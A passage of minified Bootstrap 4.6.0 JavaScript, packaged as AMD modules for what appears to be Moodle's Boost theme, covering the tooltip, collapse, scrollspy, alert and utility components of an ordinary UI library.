tip=this.getTipElement(),tipId=_util.default.getUID(this.constructor.NAME);tip.setAttribute(&quot;id&quot;,tipId),this.element.setAttribute(&quot;aria-describedby&quot;,tipId),this.setContent(),this.config.animation&amp;&amp;(0,_jquery.default)(tip).addClass(&quot;fade&quot;);const placement=&quot;function&quot;==typeof this.config.placement?this.config.placement.call(this,tip,this.element):this.config.placement,attachment=this._getAttachment(placement);this.addAttachmentClass(attachment);const container=this._getContainer();(0,_jquery.default)(tip).data(this.constructor.DATA_KEY,this),_jquery.default.contains(this.element.ownerDocument.documentElement,this.tip)||(0,_jquery.default)(tip).appendTo(container),(0,_jquery.default)(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new _popper.default(this.element,tip,this._getPopperConfig(attachment)),(0,_jquery.default)(tip).addClass(&quot;show&quot;),(0,_jquery.default)(tip).addClass(this.config.customClass),&quot;ontouchstart&quot;in document.documentElement&amp;&amp;(0,_jquery.default)(document.body).children().on(&quot;mouseover&quot;,null,_jquery.default.noop);const complete=()=&gt;{this.config.animation&amp;&amp;this._fixTransition();const prevHoverState=this._hoverState;this._hoverState=null,(0,_jquery.default)(this.element).trigger(this.constructor.Event.SHOWN),&quot;out&quot;===prevHoverState&amp;&amp;this._leave(null,this)};if((0,_jquery.default)(this.tip).hasClass(&quot;fade&quot;)){const transitionDuration=_util.default.getTransitionDurationFromElement(this.tip);(0,_jquery.default)(this.tip).one(_util.default.TRANSITION_END,complete).emulateTransitionEnd(transitionDuration)}else complete()}}hide(callback){const tip=this.getTipElement(),hideEvent=_jquery.default.Event(this.constructor.Event.HIDE),complete=()=&gt;{&quot;show&quot;!==this._hoverState&amp;&amp;tip.parentNode&amp;&amp;tip.parentNode.removeChild(tip),this._cleanTipClass(),this.element.removeAttribute(&quot;aria-describedby&quot;),(0,_jquery.default)(this.element).trigger(this.constructor.Event.HIDDEN),null!==this._popper&amp;&amp;this._popper.destroy(),callback&amp;&amp;callback()};if((0,_jquery.default)(this.element).trigger(hideEvent),!hideEvent.isDefaultPrevented()){if((0,_jquery.default)(tip).removeClass(&quot;show&quot;),&quot;ontouchstart&quot;in document.documentElement&amp;&amp;(0,_jquery.default)(document.body).children().off(&quot;mouseover&quot;,null,_jquery.default.noop),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1,(0,_jquery.default)(this.tip).hasClass(&quot;fade&quot;)){const transitionDuration=_util.default.getTransitionDurationFromElement(tip);(0,_jquery.default)(tip).one(_util.default.TRANSITION_END,complete).emulateTransitionEnd(transitionDuration)}else complete();this._hoverState=&quot;&quot;}}update(){null!==this._popper&amp;&amp;this._popper.scheduleUpdate()}isWithContent(){return Boolean(this.getTitle())}addAttachmentClass(attachment){(0,_jquery.default)(this.getTipElement()).addClass(&quot;&quot;.concat(&quot;bs-tooltip&quot;,&quot;-&quot;).concat(attachment))}getTipElement(){return this.tip=this.tip||(0,_jquery.default)(this.config.template)[0],this.tip}setContent(){const tip=this.getTipElement();this.setElementContent((0,_jquery.default)(tip.querySelectorAll(&quot;.tooltip-inner&quot;)),this.getTitle()),(0,_jquery.default)(tip).removeClass(&quot;&quot;.concat(&quot;fade&quot;,&quot; &quot;).concat(&quot;show&quot;))}setElementContent($element,content){&quot;object&quot;!=typeof content||!content.nodeType&amp;&amp;!content.jquery?this.config.html?(this.config.sanitize&amp;&amp;(content=(0,_sanitizer.sanitizeHtml)(content,this.config.whiteList,this.config.sanitizeFn)),$element.html(content)):$element.text(content):this.config.html?(0,_jquery.default)(content).parent().is($element)||$element.empty().append(content):$element.text((0,_jquery.default)(content).text())}getTitle(){let title=this.element.getAttribute(&quot;data-original-title&quot;);return title||(title=&quot;function&quot;==typeof this.config.title?this.config.title.call(this.element):this.config.title),title}_getPopperConfig(attachment){return{...{placement:attachment,modifiers:{offset:this._getOffset(),flip:{behavior:this.config.fallbackPlacement},arrow:{element:&quot;.arrow&quot;},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:data=&gt;{data.originalPlacement!==data.placement&amp;&amp;this._handlePopperPlacementChange(data)},onUpdate:data=&gt;this._handlePopperPlacementChange(data)},...this.config.popperConfig}}_getOffset(){const offset={};return&quot;function&quot;==typeof this.config.offset?offset.fn=data=&gt;(data.offsets={...data.offsets,...this.config.offset(data.offsets,this.element)||{}},data):offset.offset=this.config.offset,offset}_getContainer(){return!1===this.config.container?document.body:_util.default.isElement(this.config.container)?(0,_jquery.default)(this.config.container):(0,_jquery.default)(document).find(this.config.container)}_getAttachment(placement){return AttachmentMap[placement.toUpperCase()]}_setListeners(){this.config.trigger.split(&quot; &quot;).forEach((trigger=&gt;{if(&quot;click&quot;===trigger)(0,_jquery.default)(this.element).on(this.constructor.Event.CLICK,this.config.selector,(event=&gt;this.toggle(event)));else if(&quot;manual&quot;!==trigger){const eventIn=&quot;hover&quot;===trigger?this.constructor.Event.MOUSEENTER:this.constructor.Event.FOCUSIN,eventOut=&quot;hover&quot;===trigger?this.constructor.Event.MOUSELEAVE:this.constructor.Event.FOCUSOUT;(0,_jquery.default)(this.element).on(eventIn,this.config.selector,(event=&gt;this._enter(event))).on(eventOut,this.config.selector,(event=&gt;this._leave(event)))}})),this._hideModalHandler=()=&gt;{this.element&amp;&amp;this.hide()},(0,_jquery.default)(this.element).closest(&quot;.modal&quot;).on(&quot;hide.bs.modal&quot;,this._hideModalHandler),this.config.selector?this.config={...this.config,trigger:&quot;manual&quot;,selector:&quot;&quot;}:this._fixTitle()}_fixTitle(){const titleType=typeof this.element.getAttribute(&quot;data-original-title&quot;);(this.element.getAttribute(&quot;title&quot;)||&quot;string&quot;!==titleType)&amp;&amp;(this.element.setAttribute(&quot;data-original-title&quot;,this.element.getAttribute(&quot;title&quot;)||&quot;&quot;),this.element.setAttribute(&quot;title&quot;,&quot;&quot;))}_enter(event,context){const dataKey=this.constructor.DATA_KEY;(context=context||(0,_jquery.default)(event.currentTarget).data(dataKey))||(context=new this.constructor(event.currentTarget,this._getDelegateConfig()),(0,_jquery.default)(event.currentTarget).data(dataKey,context)),event&amp;&amp;(context._activeTrigger[&quot;focusin&quot;===event.type?&quot;focus&quot;:&quot;hover&quot;]=!0),(0,_jquery.default)(context.getTipElement()).hasClass(&quot;show&quot;)||&quot;show&quot;===context._hoverState?context._hoverState=&quot;show&quot;:(clearTimeout(context._timeout),context._hoverState=&quot;show&quot;,context.config.delay&amp;&amp;context.config.delay.show?context._timeout=setTimeout((()=&gt;{&quot;show&quot;===context._hoverState&amp;&amp;context.show()}),context.config.delay.show):context.show())}_leave(event,context){const dataKey=this.constructor.DATA_KEY;(context=context||(0,_jquery.default)(event.currentTarget).data(dataKey))||(context=new this.constructor(event.currentTarget,this._getDelegateConfig()),(0,_jquery.default)(event.currentTarget).data(dataKey,context)),event&amp;&amp;(context._activeTrigger[&quot;focusout&quot;===event.type?&quot;focus&quot;:&quot;hover&quot;]=!1),context._isWithActiveTrigger()||(clearTimeout(context._timeout),context._hoverState=&quot;out&quot;,context.config.delay&amp;&amp;context.config.delay.hide?context._timeout=setTimeout((()=&gt;{&quot;out&quot;===context._hoverState&amp;&amp;context.hide()}),context.config.delay.hide):context.hide())}_isWithActiveTrigger(){for(const trigger in this._activeTrigger)if(this._activeTrigger[trigger])return!0;return!1}_getConfig(config){const dataAttributes=(0,_jquery.default)(this.element).data();return Object.keys(dataAttributes).forEach((dataAttr=&gt;{-1!==DISALLOWED_ATTRIBUTES.indexOf(dataAttr)&amp;&amp;delete dataAttributes[dataAttr]})),&quot;number&quot;==typeof(config={...this.constructor.Default,...dataAttributes,...&quot;object&quot;==typeof config&amp;&amp;config?config:{}}).delay&amp;&amp;(config.delay={show:config.delay,hide:config.delay}),&quot;number&quot;==typeof config.title&amp;&amp;(config.title=config.title.toString()),&quot;number&quot;==typeof config.content&amp;&amp;(config.content=config.content.toString()),_util.default.typeCheckConfig(NAME,config,this.constructor.DefaultType),config.sanitize&amp;&amp;(config.template=(0,_sanitizer.sanitizeHtml)(config.template,config.whiteList,config.sanitizeFn)),config}_getDelegateConfig(){const config={};if(this.config)for(const key in this.config)this.constructor.Default[key]!==this.config[key]&amp;&amp;(config[key]=this.config[key]);return config}_cleanTipClass(){const $tip=(0,_jquery.default)(this.getTipElement()),tabClass=$tip.attr(&quot;class&quot;).match(BSCLS_PREFIX_REGEX);null!==tabClass&amp;&amp;tabClass.length&amp;&amp;$tip.removeClass(tabClass.join(&quot;&quot;))}_handlePopperPlacementChange(popperData){this.tip=popperData.instance.popper,this._cleanTipClass(),this.addAttachmentClass(this._getAttachment(popperData.placement))}_fixTransition(){const tip=this.getTipElement(),initConfigAnimation=this.config.animation;null===tip.getAttribute(&quot;x-placement&quot;)&amp;&amp;((0,_jquery.default)(tip).removeClass(&quot;fade&quot;),this.config.animation=!1,this.hide(),this.show(),this.config.animation=initConfigAnimation)}static _jQueryInterface(config){return this.each((function(){const $element=(0,_jquery.default)(this);let data=$element.data(&quot;bs.tooltip&quot;);const _config=&quot;object&quot;==typeof config&amp;&amp;config;if((data||!/dispose|hide/.test(config))&amp;&amp;(data||(data=new Tooltip(this,_config),$element.data(&quot;bs.tooltip&quot;,data)),&quot;string&quot;==typeof config)){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config]()}}))}}_jquery.default.fn[NAME]=Tooltip._jQueryInterface,_jquery.default.fn[NAME].Constructor=Tooltip,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,Tooltip._jQueryInterface);var _default=Tooltip;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/collapse&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const NAME=&quot;collapse&quot;,DATA_KEY=&quot;bs.collapse&quot;,EVENT_KEY=&quot;.&quot;.concat(DATA_KEY),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],Default={toggle:!0,parent:&quot;&quot;},DefaultType={toggle:&quot;boolean&quot;,parent:&quot;(string|element)&quot;},EVENT_SHOW=&quot;show&quot;.concat(EVENT_KEY),EVENT_SHOWN=&quot;shown&quot;.concat(EVENT_KEY),EVENT_HIDE=&quot;hide&quot;.concat(EVENT_KEY),EVENT_HIDDEN=&quot;hidden&quot;.concat(EVENT_KEY),EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;);class Collapse{constructor(element,config){this._isTransitioning=!1,this._element=element,this._config=this._getConfig(config),this._triggerArray=[].slice.call(document.querySelectorAll(&#039;[data-toggle=&quot;collapse&quot;][href=&quot;#&#039;.concat(element.id,&#039;&quot;],&#039;)+&#039;[data-toggle=&quot;collapse&quot;][data-target=&quot;#&#039;.concat(element.id,&#039;&quot;]&#039;)));const toggleList=[].slice.call(document.querySelectorAll(&#039;[data-toggle=&quot;collapse&quot;]&#039;));for(let i=0,len=toggleList.length;i&lt;len;i++){const elem=toggleList[i],selector=_util.default.getSelectorFromElement(elem),filterElement=[].slice.call(document.querySelectorAll(selector)).filter((foundElem=&gt;foundElem===element));null!==selector&amp;&amp;filterElement.length&gt;0&amp;&amp;(this._selector=selector,this._triggerArray.push(elem))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&amp;&amp;this.toggle()}static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}toggle(){(0,_jquery.default)(this._element).hasClass(&quot;show&quot;)?this.hide():this.show()}show(){if(this._isTransitioning||(0,_jquery.default)(this._element).hasClass(&quot;show&quot;))return;let actives,activesData;if(this._parent&amp;&amp;(actives=[].slice.call(this._parent.querySelectorAll(&quot;.show, .collapsing&quot;)).filter((elem=&gt;&quot;string&quot;==typeof this._config.parent?elem.getAttribute(&quot;data-parent&quot;)===this._config.parent:elem.classList.contains(&quot;collapse&quot;))),0===actives.length&amp;&amp;(actives=null)),actives&amp;&amp;(activesData=(0,_jquery.default)(actives).not(this._selector).data(DATA_KEY),activesData&amp;&amp;activesData._isTransitioning))return;const startEvent=_jquery.default.Event(EVENT_SHOW);if((0,_jquery.default)(this._element).trigger(startEvent),startEvent.isDefaultPrevented())return;actives&amp;&amp;(Collapse._jQueryInterface.call((0,_jquery.default)(actives).not(this._selector),&quot;hide&quot;),activesData||(0,_jquery.default)(actives).data(DATA_KEY,null));const dimension=this._getDimension();(0,_jquery.default)(this._element).removeClass(&quot;collapse&quot;).addClass(&quot;collapsing&quot;),this._element.style[dimension]=0,this._triggerArray.length&amp;&amp;(0,_jquery.default)(this._triggerArray).removeClass(&quot;collapsed&quot;).attr(&quot;aria-expanded&quot;,!0),this.setTransitioning(!0);const capitalizedDimension=dimension[0].toUpperCase()+dimension.slice(1),scrollSize=&quot;scroll&quot;.concat(capitalizedDimension),transitionDuration=_util.default.getTransitionDurationFromElement(this._element);(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,(()=&gt;{(0,_jquery.default)(this._element).removeClass(&quot;collapsing&quot;).addClass(&quot;&quot;.concat(&quot;collapse&quot;,&quot; &quot;).concat(&quot;show&quot;)),this._element.style[dimension]=&quot;&quot;,this.setTransitioning(!1),(0,_jquery.default)(this._element).trigger(EVENT_SHOWN)})).emulateTransitionEnd(transitionDuration),this._element.style[dimension]=&quot;&quot;.concat(this._element[scrollSize],&quot;px&quot;)}hide(){if(this._isTransitioning||!(0,_jquery.default)(this._element).hasClass(&quot;show&quot;))return;const startEvent=_jquery.default.Event(EVENT_HIDE);if((0,_jquery.default)(this._element).trigger(startEvent),startEvent.isDefaultPrevented())return;const dimension=this._getDimension();this._element.style[dimension]=&quot;&quot;.concat(this._element.getBoundingClientRect()[dimension],&quot;px&quot;),_util.default.reflow(this._element),(0,_jquery.default)(this._element).addClass(&quot;collapsing&quot;).removeClass(&quot;&quot;.concat(&quot;collapse&quot;,&quot; &quot;).concat(&quot;show&quot;));const triggerArrayLength=this._triggerArray.length;if(triggerArrayLength&gt;0)for(let i=0;i&lt;triggerArrayLength;i++){const trigger=this._triggerArray[i],selector=_util.default.getSelectorFromElement(trigger);if(null!==selector){(0,_jquery.default)([].slice.call(document.querySelectorAll(selector))).hasClass(&quot;show&quot;)||(0,_jquery.default)(trigger).addClass(&quot;collapsed&quot;).attr(&quot;aria-expanded&quot;,!1)}}this.setTransitioning(!0);this._element.style[dimension]=&quot;&quot;;const transitionDuration=_util.default.getTransitionDurationFromElement(this._element);(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,(()=&gt;{this.setTransitioning(!1),(0,_jquery.default)(this._element).removeClass(&quot;collapsing&quot;).addClass(&quot;collapse&quot;).trigger(EVENT_HIDDEN)})).emulateTransitionEnd(transitionDuration)}setTransitioning(isTransitioning){this._isTransitioning=isTransitioning}dispose(){_jquery.default.removeData(this._element,DATA_KEY),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null}_getConfig(config){return(config={...Default,...config}).toggle=Boolean(config.toggle),_util.default.typeCheckConfig(NAME,config,DefaultType),config}_getDimension(){return(0,_jquery.default)(this._element).hasClass(&quot;width&quot;)?&quot;width&quot;:&quot;height&quot;}_getParent(){let parent;_util.default.isElement(this._config.parent)?(parent=this._config.parent,void 0!==this._config.parent.jquery&amp;&amp;(parent=this._config.parent[0])):parent=document.querySelector(this._config.parent);const selector=&#039;[data-toggle=&quot;collapse&quot;][data-parent=&quot;&#039;.concat(this._config.parent,&#039;&quot;]&#039;),children=[].slice.call(parent.querySelectorAll(selector));return(0,_jquery.default)(children).each(((i,element)=&gt;{this._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element),[element])})),parent}_addAriaAndCollapsedClass(element,triggerArray){const isOpen=(0,_jquery.default)(element).hasClass(&quot;show&quot;);triggerArray.length&amp;&amp;(0,_jquery.default)(triggerArray).toggleClass(&quot;collapsed&quot;,!isOpen).attr(&quot;aria-expanded&quot;,isOpen)}static _getTargetFromElement(element){const selector=_util.default.getSelectorFromElement(element);return selector?document.querySelector(selector):null}static _jQueryInterface(config){return this.each((function(){const $element=(0,_jquery.default)(this);let data=$element.data(DATA_KEY);const _config={...Default,...$element.data(),...&quot;object&quot;==typeof config&amp;&amp;config?config:{}};if(!data&amp;&amp;_config.toggle&amp;&amp;&quot;string&quot;==typeof config&amp;&amp;/show|hide/.test(config)&amp;&amp;(_config.toggle=!1),data||(data=new Collapse(this,_config),$element.data(DATA_KEY,data)),&quot;string&quot;==typeof config){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config]()}}))}}(0,_jquery.default)(document).on(EVENT_CLICK_DATA_API,&#039;[data-toggle=&quot;collapse&quot;]&#039;,(function(event){&quot;A&quot;===event.currentTarget.tagName&amp;&amp;event.preventDefault();const $trigger=(0,_jquery.default)(this),selector=_util.default.getSelectorFromElement(this),selectors=[].slice.call(document.querySelectorAll(selector));(0,_jquery.default)(selectors).each((function(){const $target=(0,_jquery.default)(this),config=$target.data(DATA_KEY)?&quot;toggle&quot;:$trigger.data();Collapse._jQueryInterface.call($target,config)}))})),_jquery.default.fn[NAME]=Collapse._jQueryInterface,_jquery.default.fn[NAME].Constructor=Collapse,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,Collapse._jQueryInterface);var _default=Collapse;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/scrollspy&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const NAME=&quot;scrollspy&quot;,EVENT_KEY=&quot;.&quot;.concat(&quot;bs.scrollspy&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],Default={offset:10,method:&quot;auto&quot;,target:&quot;&quot;},DefaultType={offset:&quot;number&quot;,method:&quot;string&quot;,target:&quot;(string|element)&quot;},EVENT_ACTIVATE=&quot;activate&quot;.concat(EVENT_KEY),EVENT_SCROLL=&quot;scroll&quot;.concat(EVENT_KEY),EVENT_LOAD_DATA_API=&quot;load&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;);class ScrollSpy{constructor(element,config){this._element=element,this._scrollElement=&quot;BODY&quot;===element.tagName?window:element,this._config=this._getConfig(config),this._selector=&quot;&quot;.concat(this._config.target,&quot; &quot;).concat(&quot;.nav-link&quot;,&quot;,&quot;)+&quot;&quot;.concat(this._config.target,&quot; &quot;).concat(&quot;.list-group-item&quot;,&quot;,&quot;)+&quot;&quot;.concat(this._config.target,&quot; &quot;).concat(&quot;.dropdown-item&quot;),this._offsets=[],this._targets=[],this._activeTarget=null,this._scrollHeight=0,(0,_jquery.default)(this._scrollElement).on(EVENT_SCROLL,(event=&gt;this._process(event))),this.refresh(),this._process()}static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}refresh(){const autoMethod=this._scrollElement===this._scrollElement.window?&quot;offset&quot;:&quot;position&quot;,offsetMethod=&quot;auto&quot;===this._config.method?autoMethod:this._config.method,offsetBase=&quot;position&quot;===offsetMethod?this._getScrollTop():0;this._offsets=[],this._targets=[],this._scrollHeight=this._getScrollHeight();[].slice.call(document.querySelectorAll(this._selector)).map((element=&gt;{let target;const targetSelector=_util.default.getSelectorFromElement(element);if(targetSelector&amp;&amp;(target=document.querySelector(targetSelector)),target){const targetBCR=target.getBoundingClientRect();if(targetBCR.width||targetBCR.height)return[(0,_jquery.default)(target)[offsetMethod]().top+offsetBase,targetSelector]}return null})).filter((item=&gt;item)).sort(((a,b)=&gt;a[0]-b[0])).forEach((item=&gt;{this._offsets.push(item[0]),this._targets.push(item[1])}))}dispose(){_jquery.default.removeData(this._element,&quot;bs.scrollspy&quot;),(0,_jquery.default)(this._scrollElement).off(EVENT_KEY),this._element=null,this._scrollElement=null,this._config=null,this._selector=null,this._offsets=null,this._targets=null,this._activeTarget=null,this._scrollHeight=null}_getConfig(config){if(&quot;string&quot;!=typeof(config={...Default,...&quot;object&quot;==typeof config&amp;&amp;config?config:{}}).target&amp;&amp;_util.default.isElement(config.target)){let id=(0,_jquery.default)(config.target).attr(&quot;id&quot;);id||(id=_util.default.getUID(NAME),(0,_jquery.default)(config.target).attr(&quot;id&quot;,id)),config.target=&quot;#&quot;.concat(id)}return _util.default.typeCheckConfig(NAME,config,DefaultType),config}_getScrollTop(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop}_getScrollHeight(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}_getOffsetHeight(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height}_process(){const scrollTop=this._getScrollTop()+this._config.offset,scrollHeight=this._getScrollHeight(),maxScroll=this._config.offset+scrollHeight-this._getOffsetHeight();if(this._scrollHeight!==scrollHeight&amp;&amp;this.refresh(),scrollTop&gt;=maxScroll){const target=this._targets[this._targets.length-1];this._activeTarget!==target&amp;&amp;this._activate(target)}else{if(this._activeTarget&amp;&amp;scrollTop&lt;this._offsets[0]&amp;&amp;this._offsets[0]&gt;0)return this._activeTarget=null,void this._clear();for(let i=this._offsets.length;i--;){this._activeTarget!==this._targets[i]&amp;&amp;scrollTop&gt;=this._offsets[i]&amp;&amp;(void 0===this._offsets[i+1]||scrollTop&lt;this._offsets[i+1])&amp;&amp;this._activate(this._targets[i])}}}_activate(target){this._activeTarget=target,this._clear();const queries=this._selector.split(&quot;,&quot;).map((selector=&gt;&quot;&quot;.concat(selector,&#039;[data-target=&quot;&#039;).concat(target,&#039;&quot;],&#039;).concat(selector,&#039;[href=&quot;&#039;).concat(target,&#039;&quot;]&#039;))),$link=(0,_jquery.default)([].slice.call(document.querySelectorAll(queries.join(&quot;,&quot;))));$link.hasClass(&quot;dropdown-item&quot;)?($link.closest(&quot;.dropdown&quot;).find(&quot;.dropdown-toggle&quot;).addClass(&quot;active&quot;),$link.addClass(&quot;active&quot;)):($link.addClass(&quot;active&quot;),$link.parents(&quot;.nav, .list-group&quot;).prev(&quot;&quot;.concat(&quot;.nav-link&quot;,&quot;, &quot;).concat(&quot;.list-group-item&quot;)).addClass(&quot;active&quot;),$link.parents(&quot;.nav, .list-group&quot;).prev(&quot;.nav-item&quot;).children(&quot;.nav-link&quot;).addClass(&quot;active&quot;)),(0,_jquery.default)(this._scrollElement).trigger(EVENT_ACTIVATE,{relatedTarget:target})}_clear(){[].slice.call(document.querySelectorAll(this._selector)).filter((node=&gt;node.classList.contains(&quot;active&quot;))).forEach((node=&gt;node.classList.remove(&quot;active&quot;)))}static _jQueryInterface(config){return this.each((function(){let data=(0,_jquery.default)(this).data(&quot;bs.scrollspy&quot;);if(data||(data=new ScrollSpy(this,&quot;object&quot;==typeof config&amp;&amp;config),(0,_jquery.default)(this).data(&quot;bs.scrollspy&quot;,data)),&quot;string&quot;==typeof config){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config]()}}))}}(0,_jquery.default)(window).on(EVENT_LOAD_DATA_API,(()=&gt;{const scrollSpys=[].slice.call(document.querySelectorAll(&#039;[data-spy=&quot;scroll&quot;]&#039;));for(let i=scrollSpys.length;i--;){const $spy=(0,_jquery.default)(scrollSpys[i]);ScrollSpy._jQueryInterface.call($spy,$spy.data())}})),_jquery.default.fn[NAME]=ScrollSpy._jQueryInterface,_jquery.default.fn[NAME].Constructor=ScrollSpy,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,ScrollSpy._jQueryInterface);var _default=ScrollSpy;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/alert&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const EVENT_KEY=&quot;.&quot;.concat(&quot;bs.alert&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn.alert,EVENT_CLOSE=&quot;close&quot;.concat(EVENT_KEY),EVENT_CLOSED=&quot;closed&quot;.concat(EVENT_KEY),EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;);class Alert{constructor(element){this._element=element}static get VERSION(){return&quot;4.6.0&quot;}close(element){let rootElement=this._element;element&amp;&amp;(rootElement=this._getRootElement(element));this._triggerCloseEvent(rootElement).isDefaultPrevented()||this._removeElement(rootElement)}dispose(){_jquery.default.removeData(this._element,&quot;bs.alert&quot;),this._element=null}_getRootElement(element){const selector=_util.default.getSelectorFromElement(element);let parent=!1;return selector&amp;&amp;(parent=document.querySelector(selector)),parent||(parent=(0,_jquery.default)(element).closest(&quot;.&quot;.concat(&quot;alert&quot;))[0]),parent}_triggerCloseEvent(element){const closeEvent=_jquery.default.Event(EVENT_CLOSE);return(0,_jquery.default)(element).trigger(closeEvent),closeEvent}_removeElement(element){if((0,_jquery.default)(element).removeClass(&quot;show&quot;),!(0,_jquery.default)(element).hasClass(&quot;fade&quot;))return void this._destroyElement(element);const transitionDuration=_util.default.getTransitionDurationFromElement(element);(0,_jquery.default)(element).one(_util.default.TRANSITION_END,(event=&gt;this._destroyElement(element,event))).emulateTransitionEnd(transitionDuration)}_destroyElement(element){(0,_jquery.default)(element).detach().trigger(EVENT_CLOSED).remove()}static _jQueryInterface(config){return this.each((function(){const $element=(0,_jquery.default)(this);let data=$element.data(&quot;bs.alert&quot;);data||(data=new Alert(this),$element.data(&quot;bs.alert&quot;,data)),&quot;close&quot;===config&amp;&amp;data[config](this)}))}static _handleDismiss(alertInstance){return function(event){event&amp;&amp;event.preventDefault(),alertInstance.close(this)}}}(0,_jquery.default)(document).on(EVENT_CLICK_DATA_API,&#039;[data-dismiss=&quot;alert&quot;]&#039;,Alert._handleDismiss(new Alert)),_jquery.default.fn.alert=Alert._jQueryInterface,_jquery.default.fn.alert.Constructor=Alert,_jquery.default.fn.alert.noConflict=()=&gt;(_jquery.default.fn.alert=JQUERY_NO_CONFLICT,Alert._jQueryInterface);var _default=Alert;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/util&quot;,[&quot;exports&quot;,&quot;jquery&quot;],(function(_exports,_jquery){var obj;Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};function toType(obj){return null==obj?&quot;&quot;.concat(obj):{}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase()}function transitionEndEmulator(duration){let called=!1;return(0,_jquery.default)(this).one(Util.TRANSITION_END,(()=&gt;{called=!0})),setTimeout((()=&gt;{called||Util.triggerTransitionEnd(this)}),duration),this}const Util={TRANSITION_END:&quot;bsTransitionEnd&quot;,getUID(prefix){do{prefix+=~~(1e6*Math.random())}while(document.getElementById(prefix));return prefix},getSelectorFromElement(element){let selector=element.getAttribute(&quot;data-target&quot;);if(!selector||&quot;#&quot;===selector){const hrefAttr=element.getAttribute(&quot;href&quot;);selector=hrefAttr&amp;&amp;&quot;#&quot;!==hrefAttr?hrefAttr.trim():&quot;&quot;}try{return document.querySelector(selector)?selector:null}catch(_){return null}},getTransitionDurationFromElement(element){if(!element)return 0;let transitionDuration=(0,_jquery.default)(element).css(&quot;transition-duration&quot;),transitionDelay=(0,_jquery.default)(element).css(&quot;transition-delay&quot;);const floatTransitionDuration=parseFloat(transitionDuration),floatTransitionDelay=parseFloat(transitionDelay);return floatTransitionDuration||floatTransitionDelay?(transitionDuration=transitionDuration.split(&quot;,&quot;)[0],transitionDelay=transitionDelay.split(&quot;,&quot;)[0],1e3*(parseFloat(transitionDuration)+parseFloat(transitionDelay))):0},reflow:element=&gt;element.offsetHeight,triggerTransitionEnd(element){(0,_jquery.default)(element).trigger(&quot;transitionend&quot;)},supportsTransitionEnd:()=&gt;Boolean(&quot;transitionend&quot;),isElement:obj=&gt;(obj[0]||obj).nodeType,typeCheckConfig(componentName,config,configTypes){for(const property in configTypes)if(Object.prototype.hasOwnProperty.call(configTypes,property)){const expectedTypes=configTypes[property],value=config[property],valueType=value&amp;&amp;Util.isElement(value)?&quot;element&quot;:toType(value);if(!new RegExp(expectedTypes).test(valueType))throw new Error(&quot;&quot;.concat(componentName.toUpperCase(),&quot;: &quot;)+&#039;Option &quot;&#039;.concat(property,&#039;&quot; provided type &quot;&#039;).concat(valueType,&#039;&quot; &#039;)+&#039;but expected type &quot;&#039;.concat(expectedTypes,&#039;&quot;.&#039;))}},findShadowRoot(element){if(!document.documentElement.attachShadow)return null;if(&quot;function&quot;==typeof element.getRootNode){const root=element.getRootNode();return root instanceof ShadowRoot?root:null}return element instanceof ShadowRoot?element:element.parentNode?Util.findShadowRoot(element.parentNode):null},jQueryDetection(){if(void 0===_jquery.default)throw new TypeError(&quot;Bootstrap&#039;s JavaScript requires jQuery. jQuery must be included before Bootstrap&#039;s JavaScript.&quot;);const version=_jquery.default.fn.jquery.split(&quot; 